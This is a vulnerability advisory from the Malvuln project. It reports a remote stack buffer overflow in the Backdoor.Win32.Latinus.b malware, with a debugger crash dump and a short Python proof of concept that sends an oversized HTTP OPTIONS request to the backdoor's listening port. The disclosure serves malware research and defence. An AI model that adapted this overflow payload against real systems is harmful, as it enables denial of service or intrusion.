Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Latinus.b Vulnerability: Remote Buffer Overflow Description: Malware listens on both TCP ports 11831 and 29559, by sending an HTTP OPTIONS request with about 8945 bytes we trigger buffer overflow and overwriting stack registers. Type: PE32 MD5: 9adffcc98cd658a7f9c5419480013f72 Vuln ID: MVID-2021-0029 Dropped files: msHtml.exe ASLR: False DEP: False Safe SEH: True Disclosure: 01/15/2021 Memory Dump: EAX : 41414141 EBX : 040C91C0 ECX : 41414141 EDX : 040C7020 EBP : 0046B614 mshtml.0046B614 ESP : 000A1494 ESI : 00000014 EDI : 0046B610 mshtml.0046B610 EIP : 00401C78 mshtml.00401C78 This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (1534.17c0): Access violation - code c0000005 (first/second chance not available) eax=41414141 ebx=04138948 ecx=41414141 edx=41414141 esi=00000014 edi=0046b610 eip=00401c76 esp=000a1644 ebp=0046b614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** WARNING: Unable to verify checksum for msHtml.exe *** ERROR: Module load completed but symbols could not be loaded for msHtml.exe msHtml+0x1c76: 00401c76 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: msHtml+1c76 00401c76 8902 mov dword ptr [edx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00401c76 (msHtml+0x00001c76) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141 Attempt to write to address 41414141 PROCESS_NAME: msHtml.exe OVERLAPPED_MODULE: Address regions for 'comctl32_72d50000' and 'dataexchange.dll' overlap ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: msHtml+1c76 00401c76 8902 mov dword ptr [edx],eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000017c0 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 04144b5c The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 04144b5c to 00401c76 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0046b614 04144b5c 027b87b0 027b9da4 027b9da4 msHtml+0x1c76 0046b618 027b87b0 027b9da4 027b9da4 00000000 0x4144b5c 0046b61c 027b9da4 027b9da4 00000000 00000000 0x27b87b0 0046b620 027b9da4 00000000 00000000 00000000 0x27b9da4 0046b624 00000000 00000000 00000000 0019ff74 0x27b9da4 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: msHtml+1c76 FOLLOWUP_NAME: MachineOwner MODULE_NAME: msHtml IMAGE_NAME: msHtml.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msHtml.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_msHtml+1c76 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=29559 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="OPTIONS /"+"A"*8945+ " HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() print("Backdoor.Win32.Latinus.b / Remote Buffer Overflow ") print("MD5: 9adffcc98cd658a7f9c5419480013f72") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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